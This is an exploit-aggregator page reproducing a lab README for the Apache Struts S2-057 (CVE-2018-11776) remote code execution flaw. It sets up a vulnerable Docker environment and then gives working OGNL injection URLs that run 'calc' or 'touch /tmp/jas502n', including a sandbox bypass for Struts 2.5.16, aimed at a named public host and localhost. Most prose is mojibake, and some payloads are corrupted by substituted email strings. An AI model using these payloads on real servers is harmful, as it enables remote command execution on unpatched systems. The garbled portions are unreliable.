Sploitus

Exploit for St2-057

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN214 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-ST2-057
# St2-057 рдСрдирд▓рд╛рдЗрди рд▓рдХреНрд╖реНрдп рд╡рд╛рддрд╛рд╡рд░рдг, Enjoyя╝Б

# 0x01 Docker рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯрдЕрдк рдХрд░реЗрдВ

https://github.com/vulhub/vulhub/tree/master/struts2/s2-048

root@kitploit:~
    
    
    docker-compose up -d
    

# 0x02 st2-057 рдХрдордЬреЛрд░реА рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯрдЕрдк рдХрд░реЗрдВ

root@kitploit:~
    
    
    docker exec -i -t 88fd8d560155 /bin/bash
    

рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ рдФрд░ docker рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░реЗрдВ ![](https://assets.kitploit.com/production/public/readmes/43831/a29923daafb52ad4264ba0e21da2da84cd3c6b46380481293503e004a74b71d0.jpg)

рдШреЛрд╖рдгрд╛ рдХреЗ рдЕрдиреБрд╕рд╛рд░ https://struts.apache.org/releases.html

root@kitploit:~
    
    
    Release	Release Date	Vulnerability	Version Notes
    Struts 2.5.16	16 March 2018	S2-057	Version notes
    Struts 2.5.14.1	30 November 2017	Version notes
    Struts 2.5.14	23 November 2017	S2-055, S2-054	Version notes
    

![](https://assets.kitploit.com/production/public/readmes/43831/401f11b576a7157403bcbbee45ee82443a85c8d8765e2e7154615ec0e8f76605.jpg) Struts 2.5.16 рдореЗрдВ s2-057 рдХрдордЬреЛрд░реА рдореМрдЬреВрдж рд╣реИ, рдлрд┐рд░ рдпрд╣ рд╕рдВрд╕реНрдХрд░рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ

https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip/

root@kitploit:~
    
    
    apt-get update -y
    mkdir /usr/local/tomcat/webapps/test
    wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip
    apt-get install unzip -y
    cp struts2-showcase.war /usr/local/tomcat/webapps/
    
    

![](https://assets.kitploit.com/production/public/readmes/43831/b09bbb3c72657f18417e57e443f157a799fa38365a02789b2ad228eb4f9b629c.jpg)

# 0x03 рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ

рдкрд╣рд▓реЗ рдлрд╝рд╛рдЗрд▓ struts-actionchaining.xml рдЦреЛрдЬреЗрдВ, рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ 2 рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рд╕рдВрд╢реЛрдзрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ

root@kitploit:~
    
    
    root@88fd8d560155:/usr/local/tomcat/webapps/test# locate struts-actionchaining.xml
    /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
    /usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml
    /usr/local/tomcat/webapps/test/struts-2.5.16/src/apps/showcase/src/main/resources/struts-actionchaining.xml
    root@88fd8d560155:/usr/local/tomcat/webapps/test# 
    
    

рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рдВрд╢реЛрдзрди - рд╕рдВрджрд░реНрдн рд▓рд┐рдВрдХ: https://lgtm.com/blog/apache_struts_CVE-2018-11776

рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдмрджрд▓реЗрдВ:

root@kitploit:~
    
    
    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>
    

![](https://assets.kitploit.com/production/public/readmes/43831/752b0e89324f2d1a4cf38ff85476e4d7a90a2d46c8f36a02856242dbc223be21.jpg)

рдлрд┐рд░ bin рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЬрд╛рдПрдВ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ kill рдХрд░реЗрдВ, рдХреНрдпреЛрдВрдХрд┐ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рдВрд╢реЛрдзрд┐рдд рдХреА рдЧрдИ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ

root@kitploit:~
    
    
    root@88fd8d560155:/usr/local/tomcat/bin# cd /usr/local/tomcat/bin/
    root@88fd8d560155:/usr/local/tomcat/bin# ls
    bootstrap.jar	    catalina.sh			  commons-daemon.jar  daemon.sh  setclasspath.sh  startup.sh	   tool-wrapper.sh
    catalina-tasks.xml  commons-daemon-native.tar.gz  configtest.sh       digest.sh  shutdown.sh	  tomcat-juli.jar  version.sh
    root@88fd8d560155:/usr/local/tomcat/bin# ./shutdown.sh 
    
    

![](https://assets.kitploit.com/production/public/readmes/43831/b137aa15449017a5b154d249fa8d3b287277b603f25ebb64b4c68499a2d25025.jpg)

# 0x04 рд╕реЗрд╡рд╛ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░реЗрдВ, st2-057 рд╕реЗрдЯрдЕрдк рдкреВрд░реНрдг

root@kitploit:~
    
    
     тЬШ тЪб root@HK юВ░ ~/vulhub/struts2/s2-048 юВ░ юВа master тЧП юВ░ docker-compose up -d
    Starting s2-048_struts2_1 ... done
     тЪб root@HK юВ░ ~/vulhub/struts2/s2-048 юВ░ юВа master тЧП юВ░ 
    

![](https://assets.kitploit.com/production/public/readmes/43831/946ca5c63f0887668fad61b42c8c1c6ebe20cd105c35255d273e32efa5ebe805.jpg)

# 0x05 st2-057 рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ

docker рд▓рдХреНрд╖реНрдп рдорд╢реАрди: http://www.canyouseeme.cc:8080/struts2-showcase/

рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди: http://www.canyouseeme.cc:8080/struts2-showcase/${(111+111)}/actionChain1.action

${(111+111)}

рдирд┐рд╖реНрдкрд╛рджрди рдкрд░рд┐рдгрд╛рдо URL рдореЗрдВ рд╡рд╛рдкрд╕ рдорд┐рд▓рддрд╛ рд╣реИ: http://www.canyouseeme.cc:8080/struts2-showcase/222/register2.action

![](https://assets.kitploit.com/production/public/readmes/43831/f48765e0ab31ab82b0e449934fdd05e09fa1adb596251d6a48c50e8d7872efe7.jpg)

#### Ps: ${(111+111)} рдХреЛ рдкреБрд░рд╛рдиреЗ POC рд╕реЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП S2-032

http://www.canyouseeme.cc:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

![](https://assets.kitploit.com/production/public/readmes/43831/c6a56dc5eadfdf2051b5567743a394d8ef8be7e04c9bb6f120682e84a9c15ae1.jpg)

poc-рдЙрджрд╛рд╣рд░рдг:

root@kitploit:~
    
    
    ${(#_memberAccess["allowStaticMethodAccess"]=true,#some-email@example.com@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
    

рд╡рд┐рднрд╛рдЬрди

root@kitploit:~
    
    
    ${
    (
    #_memberAccess["allowStaticMethodAccess"]=true,
    #some-email@example.com@getRuntime().exec('calc').getInputStream(),
    #b=new java.io.InputStreamReader(#a),
    #c=new java.io.BufferedReader(#b),
    #d=new char[51020],
    #c.read(#d),
    #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #jas502n.println(#d),
    #jas502n.close())
    }
    

# 0x06 рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдкреЙрдк рдХрд░реЗрдВ рдпрд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

рдХрдордЬреЛрд░реА рд╡рд╛рддрд╛рд╡рд░рдг: struts-2.2.3.1-all.zip

рдбрд╛рдЙрдирд▓реЛрдб рдкрддрд╛: http://archive.apache.org/dist/struts/binaries/struts-2.2.3.1-all.zip

![](https://assets.kitploit.com/production/public/readmes/43831/70dca08d4a32fc91590460099fc68543f6e0ef5734ac071b00bc2d89c7af8cf6.jpg) Ps: рдкреЗрдВрдЪ рдпрд╣ рд╣реИ рдХрд┐ рдкреБрд░рд╛рдирд╛ рд╕рдВрд╕реНрдХрд░рдг рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рдкреЙрдк рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрдЪреНрдЪ рд╕рдВрд╕реНрдХрд░рдг рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛

Windows:

root@kitploit:~
    
    
    http://127.0.0.1:8080/struts3-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec('calc').getInputStream()%2c%23b%3dnew%20java.io.InputStreamReader(%23a)%2c%23c%3dnew %20java.io.BufferedReader(%23b)%2c%23d%3dnew%20char%5b51020%5d%2c%23c.read(%23d)%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23sbtest.println(%23d)%2c%23sbtest.close())%7d/actionChain1.action
    
    
    

![](https://assets.kitploit.com/production/public/readmes/43831/99d760a9d7d5529d17599126ce3af6abc93f67f89d6b4f84e60fbd88456783e7.png)

Linux:

root@kitploit:~
    
    
    http://www.canyouseeme.cc/struts3-showcase/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%some-email@example.com@getRuntime%28%29.exec%28%27touch /tmp/jas502n%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%some-email@example.com@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action
    
    

![](https://assets.kitploit.com/production/public/readmes/43831/3d14a4d549a691789e703f60d534058e14d62ce0da5306e36bba90dd70942eb3.png)

# 0x07 struts-2.5.16-all.zip рдХреЗ рд▓рд┐рдП Bypass

рд╕рдВрджрд░реНрдн рд▓рд┐рдВрдХ: https://otakekumi.github.io/2018/08/25/S2-057-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E3%80%81%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E5%8F%8AEXP%E6%9E%84%E9%80%A0/

Poc for Example-Linux Docker:

root@kitploit:~
    
    
    http://www.canyouseeme.cc:44449/struts2-showcase/actionchaining/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%some-email@example.com@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%some-email@example.com@getRuntime().exec('touch /tmp/jas502n'))%7D/actionChain1.action
    
    

![](https://assets.kitploit.com/production/public/readmes/43831/894e0d2ceffcb55584fd542e86ae168c0e1af5c3a00028d345d02b77c0ef03bd.jpg) ![](https://assets.kitploit.com/production/public/readmes/43831/012bb0fd694904238e98a472f2681718b1a985a9c0cb361e810ea481cbf00141.jpg)

# 0x08 рд╕рдВрджрд░реНрдн рд▓рд┐рдВрдХ

root@kitploit:~
    
    
    https://otakekumi.github.io/2018/08/25/S2-057-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E3%80%81%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E5%8F%8AEXP%E6%9E%84%E9%80%A0/
    https://github.com/vulhub/vulhub/tree/master/struts2/s2-048
    https://lgtm.com/blog/apache_struts_CVE-2018-11776
    https://cwiki.apache.org/confluence/display/WW/S2-057
    https://www.anquanke.com/post/id/157518